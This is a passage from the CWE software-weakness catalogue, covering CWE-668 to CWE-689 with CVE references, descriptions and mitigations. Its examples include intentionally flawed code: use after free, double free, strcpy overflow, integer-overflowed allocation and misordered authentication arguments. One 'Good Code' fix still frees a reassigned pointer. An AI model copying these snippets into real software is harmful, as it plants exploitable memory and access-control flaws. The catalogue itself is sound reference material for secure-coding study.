CVE-2002-1869	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.
CVE-2002-1914	Program can not execute when attacker obtains a lock on a critical output file.
CVE-2002-1915	Program can not execute when attacker obtains a lock on a critical output file.
CVE-2004-0174	web server deadlock involving multiple listening connections
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833)
CVE-2005-3106	Race condition leads to deadlock.
CVE-2005-3847	OS kernel has deadlock triggered by a signal during a core dump.
CVE-2006-2275	Deadlock when large number of small messages cannot be processed quickly enough.
CVE-2006-2374	Deadlock in device driver triggered by using file handle of a related device.
CVE-2006-4342	deadlock when an operation is performed on a resource while it is being removed.
CVE-2006-5158	chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833).
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.
CVE-2009-0935	Attacker provides invalid address to a memory-reading function, causing a mutex to be unlocked twice
CVE-2009-1243	OS kernel performs an unlock in some incorrect circumstances, leading to panic.
CVE-2009-1388	multiple simultaneous calls to the same function trigger deadlock.
CVE-2009-1961	OS deadlock involving 3 separate functions
CVE-2009-2699	deadlock in library
CVE-2009-2857	OS deadlock
CVE-2009-4272	deadlock triggered by packets that force collisions in a routing table
CVE-2010-4210	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory.

Potential Mitigations

Implementation
Libraries or Frameworks

Use industry standard APIs to implement locking mechanism.

CWE-668: Exposure of Resource to Wrong Sphere

Weakness ID: 668 *(Weakness Class)* **Status:** Draft

Description

Summary

The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.

Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.

A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.

In either case, the end result is that a resource has been exposed to the wrong party.

Theoretical Notes

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

Relevant Properties

- Accessibility

CWE-669: Incorrect Resource Transfer Between Spheres

Weakness ID: 669 *(Weakness Class)* **Status:** Draft

Description

Summary

The product does not properly transfer a resource/behavior to another sphere, or improperly imports a resource/behavior from another sphere, in a manner that provides unintended control over that resource.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Common Consequences

Confidentiality
Integrity
Read application data
Modify application data
Unexpected state

Background Details

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

CWE-670: Always-Incorrect Control Flow Implementation

Weakness ID: 670 *(Weakness Class)* **Status:** Draft

Description

Summary

The code contains a control flow path that does not reflect the algorithm that the path is intended to implement, leading to incorrect behavior any time this path is navigated.

Extended Description

This weakness captures cases in which a particular code segment is always incorrect with respect to the algorithm that it is implementing. For example, if a C programmer intends to include multiple statements in a single block but does not include the enclosing braces (CWE-483), then the logic is always incorrect. This issue is in contrast to most weaknesses in which the code usually behaves correctly, except when it is externally manipulated in malicious ways.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Modes of Introduction

This issue typically appears in rarely-tested code, since the "always-incorrect" nature will be detected as a bug during normal usage.

Common Consequences

Other
Other
Alter execution logic

Relationships

Maintenance Notes

This node could possibly be split into lower-level nodes. "Early Return" is for returning control to the caller too soon (e.g., CWE-584). "Excess Return" is when control is returned too far up the call stack (CWE-600, CWE-395). "Improper control limitation" occurs when the product maintains control at a lower level of execution, when control should be returned "further" up the call stack (CWE-455). "Incorrect syntax" covers code that's "just plain wrong" such as CWE-484 and CWE-483.

CWE-671: Lack of Administrator Control over Security

Weakness ID: 671 *(Weakness Class)* **Status:** Draft

Description

Summary

The product uses security features in a way that prevents the product's administrator from tailoring security settings to reflect the environment in which the product is being used. This introduces resultant weaknesses or prevents it from operating at a level of security that is desired by the administrator.

Extended Description

If the product's administrator does not have the ability to manage security-related decisions at all times, then protecting the product from outside threats - including the product's developer - can become impossible. For example, a hard-coded account name and password cannot be changed by the administrator, thus exposing that product to attacks that the administrator can not prevent.

Time of Introduction

CWE-672: Operation on a Resource after Expiration or Release

Weakness ID: 672 *(Weakness Base)* **Status:** Draft

Description

Summary

The software uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Mobile Application

Common Consequences

Integrity
Confidentiality
Modify application data
Read application data

If a released resource is subsequently reused or reallocated, then an attempt to use the original resource might allow access to sensitive data that is associated with a different user or entity.

Other
Availability
Other
DoS: crash / exit / restart

When a resource is released it might not be in an expected state, later attempts to access the resource may lead to resultant errors that may lead to a crash.

Demonstrative Examples

Example 1:

The following code shows a simple example of a use after free error:

C Example: *Bad Code*

```
char* ptr = (char*)malloc (SIZE);
if (err) {
  abrt = 1;
  free(ptr);
}
...
if (abrt) {
  logError("operation aborted before commit", ptr);
}
```

When an error occurs, the pointer is immediately freed. However, this pointer is later incorrectly used in the logError function.

Example 2:

The following code shows a simple example of a double free error:

C Example: *Bad Code*

```
char* ptr = (char*)malloc (SIZE);
...
if (abrt) {
  free(ptr);
}
...
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

 Error conditions and other exceptional circumstances

 Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 3:

In the following C/C++ example the method processMessage is used to process a message received in the input array of char arrays. The input message array contains two char arrays: the first is the length of the message and the second is the body of the message. The length of the message is retrieved and used to allocate enough memory for a local char array, messageBody, to be created for the message body. The messageBody is processed in the method processMessageBody that will return an error if an error occurs while processing. If an error occurs then the return result variable is set to indicate an error and the messageBody char array memory is released using the method free and an error message is sent to the logError method.

C/C++ Example: *Bad Code*

```
#define FAIL 0
#define SUCCESS 1
#define ERROR -1
#define MAX_MESSAGE_SIZE 32
int processMessage(char **message)
{
  int result = SUCCESS;
  int length = getMessageLength(message[0]);
  char *messageBody;
  if ((length > 0) && (length < MAX_MESSAGE_SIZE)) {
    messageBody = (char*)malloc(length*sizeof(char));
    messageBody = &message[1][0];
    int success = processMessageBody(messageBody);
    if (success == ERROR) {
      result = ERROR;
      free(messageBody);
    }
```

```
  }
  else {
    printf("Unable to process message; invalid message length");
    result = FAIL;
  }
  if (result == ERROR) {
    logError("Error processing message", messageBody);
  }
  return result;
}
```

However, the call to the method logError includes the messageBody after the memory for messageBody has been released using the free method. This can cause unexpected results and may lead to system crashes. A variable should never be used after its memory resources have been released.

C/C++ Example: *Good Code*

```
...
messageBody = (char*)malloc(length*sizeof(char));
messageBody = &message[1][0];
int success = processMessageBody(messageBody);
if (success == ERROR) {
  result = ERROR;
  logError("Error processing message", messageBody);
  free(messageBody);
}
...
```

Mapped Taxonomy Name	Node ID	Mapped Node Name
Software Fault Patterns	SFP15	Faulty Resource Use

CWE-673: External Influence of Sphere Definition

Weakness ID: 673 *(Weakness Class)* **Status:** Draft

Description

Summary

The product does not prevent the definition of control spheres from external actors.

Extended Description

Typically, a product defines its control sphere within the code itself, or through configuration by the product's administrator. In some cases, an external party can change the definition of the control sphere. This is typically a resultant weakness.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Other
Other

Demonstrative Examples

Example 1:

Consider a blog publishing tool, which might have three explicit control spheres: the creation of articles, only accessible to a "publisher;" commenting on articles, only accessible to a "commenter" who is a registered user; and reading articles, only accessible to an anonymous reader. Suppose that the application is deployed on a web server that is shared with untrusted parties. If a local user can modify the data files that define who a publisher is, then this user has modified the control sphere. In this case, the issue would be resultant from another weakness such as insufficient permissions.

Example 2:

In Untrusted Search Path (CWE-426), a user might be able to define the PATH environment variable to cause the product to search in the wrong directory for a library to load. The product's intended sphere of control would include "resources that are only modifiable by the person who installed the product." The PATH effectively changes the definition of this sphere so that it overlaps the attacker's sphere of control.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	361	Time and State	**699**	627
ChildOf	G	664	Improper Control of a Resource Through its Lifetime	**1000**	1028
ChildOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	**888**	1394
ParentOf		*426*	*Untrusted Search Path*	*1000*	*731*

Theoretical Notes

A "control sphere" is a set of resources and behaviors that are accessible to a single actor, or a group of actors. A product's security model will typically define multiple spheres, possibly implicitly. For example, a server might define one sphere for "administrators" who can create new user accounts with subdirectories under /home/server/, and a second sphere might cover the set of users who can create or delete files within their own subdirectories. A third sphere might be "users who are authenticated to the operating system on which the product is installed." Each sphere has different sets of actors and allowable behaviors.

Relevant Properties

- Mutability

CWE-674: Uncontrolled Recursion

Weakness ID: 674 *(Weakness Base)* **Status:** Draft

Description

Summary

The product does not properly control the amount of recursion that takes place, which consumes excessive resources, such as allocated memory or the program stack.

Alternate Terms

Stack Exhaustion

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Availability
DoS: resource consumption (CPU)
DoS: resource consumption (memory)

Resources including CPU, memory, and stack memory could be rapidly consumed or exhausted, eventually leading to an exit or crash.

Confidentiality
Read application data

In some cases, an application's interpreter might kill a process or thread that appears to be consuming too much resources, such as with PHP's memory_limit setting. When the interpreter kills the process/thread, it might report an error containing detailed information such as the application's installation path.

Observed Examples

Reference	Description
CVE-2007-1285	Deeply nested arrays trigger stack exhaustion.
CVE-2007-3409	Self-referencing pointers create infinite loop and resultant stack exhaustion.

Potential Mitigations

Implementation

Limit the number of recursive calls to a reasonable number.

Relationships

CWE-675: Duplicate Operations on Resource

Weakness ID: 675 *(Weakness Class)* **Status:** Draft

Description

Summary

The product performs the same operation on a resource two or more times, when the operation should only be applied once.

Time of Introduction
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Other
Other

Relationships

ParentOf	V	*765*	*Multiple Unlocks of a Critical Resource*	*1000*	*1172*

Relationship Notes

This weakness is probably closely associated with other issues related to doubling, such as CWE-462 (duplicate key in alist) or CWE-102 (Struts duplicate validation forms). It's usually a case of an API contract violation (CWE-227).

Relevant Properties

- Uniqueness

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	FIO31-C	Do not simultaneously open the same file multiple times
CERT C++ Secure Coding	FIO31-CPP	Do not simultaneously open the same file multiple times

CWE-676: Use of Potentially Dangerous Function

Weakness ID: 676 *(Weakness Base)* **Status:** Draft

Description

Summary

The program invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Other
Varies by context
Quality degradation
Unexpected state

If the function is used incorrectly, then it could result in security problems.

Likelihood of Exploit

High

Detection Methods

Automated Static Analysis - Binary / Bytecode
SOAR High

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
Binary / Bytecode Quality Analysis
Binary / Bytecode simple extractor – strings, ELF readers, etc.

Manual Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with manual results interpretation
SOAR High

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Debugger
Cost effective for partial coverage:
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code
SOAR High

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code
SOAR High

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
Warning Flags
Source Code Quality Analyzer

Automated Static Analysis
SOAR Partial

According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Origin Analysis

Architecture / Design Review

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

C Example: *Bad Code*

```
void manipulate_string(char * string){
  char buf[24];
  strcpy(buf, string);
  ...
}
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous strcpy() function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

Observed Examples

Reference	Description
CVE-2006-0963	Buffer overflow using strcpy()
CVE-2006-2114	Buffer overflow using strcpy()
CVE-2007-1470	Library has multiple buffer overflows using sprintf() and strcpy()
CVE-2008-5005	Buffer overflow using strcpy()
CVE-2009-3849	Buffer overflow using strcat()
CVE-2011-0712	Vulnerable use of strcpy() changed to use safer strlcpy()

Potential Mitigations

Build and Compilation

Implementation

Identify a list of prohibited API functions and prohibit developers from using these functions, providing safer alternatives. In some cases, automatic code analysis tools or the compiler can be instructed to spot use of prohibited functions, such as the "banned.h" include file from Microsoft's SDL. [R.676.1] [R.676.2]

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	398	Indicator of Poor Code Quality	**699** **1000**	685
ChildOf	C	738	CERT C Secure Coding Section 04 - Integers (INT)	**734**	1135
ChildOf	C	743	CERT C Secure Coding Section 09 - Input Output (FIO)	734	1137

ChildOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	**868**	1319
ChildOf	C	1001	SFP Secondary Cluster: Use of an Improper API	**888**	1414
ParentOf	V	*785*	*Use of Path Manipulation Function without Maximum-sized Buffer*	***1000***	*1207*
MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

Relationship Notes

This weakness is different than CWE-242 (Use of Inherently Dangerous Function). CWE-242 covers functions with such significant security problems that they can never be guaranteed to be safe. Some functions, if used properly, do not directly pose a security risk, but can introduce a weakness if not called correctly. These are regarded as potentially dangerous. A well-known example is the strcpy() function. When provided with a destination buffer that is larger than its source, strcpy() will not overflow. However, it is so often misused that some developers prohibit strcpy() entirely.

Causal Nature

Explicit *(an explicit weakness resulting from behavior of the developer)*

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
7 Pernicious Kingdoms		Dangerous Functions
CERT C Secure Coding	ERR07-C	Prefer functions that support error checking over equivalent functions that don't
CERT C Secure Coding	FIO01-C	Be careful using functions that use file names for identification
CERT C Secure Coding	INT06-C	Use strtol() or a related function to convert a string token to an integer
CERT C++ Secure Coding	INT06-CPP	Use strtol() or a related function to convert a string token to an integer
CERT C++ Secure Coding	FIO01-CPP	Be careful using functions that use file names for identification
Software Fault Patterns	SFP3	Use of an improper API

CWE-680: Integer Overflow to Buffer Overflow

Compound Element ID: 680 *(Compound Element Base: Chain)* **Status:** Draft

Description

Summary

CWE-680: Integer Overflow to Buffer Overflow

The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow.

Applicable Platforms

Languages

- All

Common Consequences

Integrity
Availability
Confidentiality
Modify memory
DoS: crash / exit / restart
Execute unauthorized code or commands

CWE-681: Incorrect Conversion between Numeric Types

Weakness ID: 681 *(Weakness Base)* **Status:** Draft

Description

Summary

When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Other
Integrity
Unexpected state
Quality degradation

The program could wind up using the wrong number and generate incorrect results. If the number is used to allocate resources or make a security decision, then this could introduce a vulnerability.

Likelihood of Exploit

Medium to High

Demonstrative Examples

Example 1:

In the following Java example, a float literal is cast to an integer, thus causing a loss of precision.

Java Example: *Bad Code*

```
int i = (int) 33457.8f;
```

Example 2:

This code adds a float and an integer together, casting the result to an integer.

PHP Example: *Bad Code*

```
$floatVal = 1.8345;
$intVal = 3;
$result = (int)$floatVal + $intVal;
```

Normally, PHP will preserve the precision of this operation, making $result = 4.8345. After the cast to int, it is reasonable to expect PHP to follow rounding convention and set $result = 5. However, the explicit cast to int always rounds DOWN, so the final value of $result is 4. This behavior may have unintended consequences.

Example 3:

In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

C Example: *Bad Code*

```
unsigned int readdata () {
  int amount = 0;
  ...
  if (result == ERROR)
  amount = -1;
  ...
  return amount;
}
```

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 4:

In this example, depending on the return value of accecssmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

C Example: *Bad Code*

```
unsigned int readdata () {
  int amount = 0;
  ...
  amount = accessmainframe();
  ...
  return amount;
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Observed Examples

Reference	Description
CVE-2007-4268	Chain: integer signedness passes signed comparison, leads to heap overflow
CVE-2007-4988	Chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow.
CVE-2008-3282	Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated.
CVE-2009-0231	Integer truncation of length value leads to heap-based buffer overflow.

Potential Mitigations

Implementation

Avoid making conversion between numeric types. Always check for the allowed ranges.

CWE-682: Incorrect Calculation

Weakness ID: 682 *(Weakness Class)* **Status:** Draft

Description

Summary

The software performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.

Extended Description

When software performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Availability
DoS: crash / exit / restart

If the incorrect calculation causes the program to move into an unexpected state, it may lead to a crash or impairment of service.

Integrity
Confidentiality
Availability
DoS: crash / exit / restart
DoS: resource consumption (other)
Execute unauthorized code or commands

If the incorrect calculation is used in the context of resource allocation, it could lead to an out-of-bounds operation (CWE-119) leading to a crash or even arbitrary code execution. Alternatively, it may result in an integer overflow (CWE-190) and / or a resource consumption problem (CWE-400).

Access Control
Gain privileges / assume identity

In the context of privilege or permissions assignment, an incorrect calculation can provide an attacker with access to sensitive resources.

Access Control
Bypass protection mechanism

If the incorrect calculation leads to an insufficient comparison (CWE-697), it may compromise a protection mechanism such as a validation routine and allow an attacker to bypass the security-critical code.

Likelihood of Exploit

High

Detection Methods

Manual Analysis
High

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

The following image processing code allocates a table for images.

C Example: *Bad Code*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2:

This code attempts to calculate a football team's average number of yards gained per touchdown.

Java Example: *Bad Code*

```
...
int touchdowns = team.getTouchdowns();
int yardsGained = team.getTotalYardage();
System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown scored");
...
```

The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly.

Example 3:

This example attempts to calculate the position of the second byte of a pointer.

C Example: *Bad Code*

```
int *p = x;
char * second_char = (char *)(p + 1);
```

In this example, second_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

Potential Mitigations

Implementation

Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.

Implementation
Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Implementation

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.

Architecture and Design
Language Selection
Libraries or Frameworks

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences.

Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

Implementation
Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

CWE-683: Function Call With Incorrect Order of Arguments

Weakness ID: 683 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.

Extended Description

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.

Time of Introduction

- Implementation

Modes of Introduction

This problem typically occurs when the programmer makes a typo, or copy and paste errors.

Common Consequences

Other

Quality degradation

Demonstrative Examples

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

PHP Example: *Bad Code*

```
function authenticate($username, $password) {
  // authenticate user
  ...
}
authenticate($_POST['password'], $_POST['username']);
```

Observed Examples

Reference	Description
CVE-2006-7049	Application calls functions with arguments in the wrong order, allowing attacker to bypass intended access restrictions.

Potential Mitigations

Implementation

Use the function, procedure, or routine as specified.

Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

ChildOf	C	998	SFP Secondary Cluster: Glitch in Computation	**888**	1397

CWE-684: Incorrect Provision of Specified Functionality

Weakness ID: 684 *(Weakness Base)* **Status:** Draft

Description

Summary

The code does not function according to its published specifications, potentially leading to incorrect usage.

Extended Description

When providing functionality to an external party, it is important that the software behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.

Time of Introduction

- Implementation

Common Consequences

Other

Quality degradation

Potential Mitigations

Implementation

Ensure that your code strictly conforms to specifications.

CWE-685: Function Call With Incorrect Number of Arguments

Weakness ID: 685 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- Perl

Modes of Introduction

This problem typically occurs when the programmer makes a typo, or copy and paste errors.

Common Consequences

Other

Quality degradation

Detection Methods

Other

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in languages or environments that do not require that functions always be called with the correct number of arguments, such as Perl.

Potential Mitigations

Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

CWE-686: Function Call With Incorrect Argument Type

Weakness ID: 686 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.

Extended Description

This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.

Time of Introduction

- Implementation

Common Consequences

Other

Quality degradation

Potential Mitigations

Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

CWE-687: Function Call With Incorrectly Specified Argument Value

Weakness ID: 687 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses.

Time of Introduction

- Implementation

Common Consequences

Other

Quality degradation

Detection Methods

Manual Static Analysis

This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

Demonstrative Examples

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

Perl Example: *Bad Code*

```
sub ReportAuth {
  my ($username, $result, $fatal) = @_;
  PrintLog("auth: username=%s, result=%d", $username, $result);
  if (($result ne "success") && $fatal) {
    die "Failed!\n";
  }
}
sub PrivilegedFunc
{
  my $result = CheckAuth($username);
  ReportAuth($username, $result, 0);
  DoReallyImportantStuff();
```

```
}
```

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page

ParentOf	V	*560*	*Use of umask() with chmod-style Argument*	***1000***	*897*

Relationship Notes

When primary, this weakness is most likely to occur in rarely-tested code, since the wrong value can change the semantic meaning of the program's execution and lead to obviously-incorrect behavior. It can also be resultant from issues in which the program assigns the wrong value to a variable, and that variable is later used in a function call. In that sense, this issue could be argued as having chaining relationships with many implementation errors in CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	MEM04-C	Do not perform zero length allocations
CERT C++ Secure Coding	MEM04-CPP	Do not perform zero length allocations

CWE-688: Function Call With Incorrect Variable or Reference as Argument

Weakness ID: 688 *(Weakness Variant)* **Status:** Draft

Description

Summary

The software calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- Perl

Modes of Introduction

This problem typically occurs when the programmer makes a typo, or copy and paste errors.

Common Consequences

Other

Quality degradation

Detection Methods

Other

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in loosely typed languages or environments. This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

Demonstrative Examples

In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

Java Example: *Bad Code*

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
  String[] userRoles = getUserRoles(user);
  return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
  // grant or deny access based on user roles
  ...
}
```

Observed Examples

Reference	Description
CVE-2005-2548	Kernel code specifies the wrong variable in first argument, leading to resultant NULL pointer dereference.

Potential Mitigations

Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the software. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

Weakness Ordinalities

CWE-689: Permission Race Condition During Resource Copy

Compound Element ID: 689 *(Compound Element Base: Composite)* **Status:** Draft

Description

Summary

The product, while copying or cloning a resource, does not set the resource's permissions or access control until the copy is complete, leaving the resource exposed to other spheres while the copy is taking place.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- Perl

Modes of Introduction

Common examples occur in file archive extraction, in which the product begins the extraction with insecure default permissions, then only sets the final permissions (as specified in the archive) once the copy is complete. The larger the archive, the larger the timing window for the race condition.

This weakness has also occurred in some operating system utilities that perform copies of deeply nested directories containing a large number of files.

This weakness can occur in any type of functionality that involves copying objects or resources in a multi-user environment, including at the application level. For example, a document management system might allow a user to copy a private document, but if it does not set the new copy to be private as soon as the copy begins, then other users might be able to view the document while the copy is still taking place.

Common Consequences

Confidentiality
Integrity
Read application data
Modify application data

Observed Examples

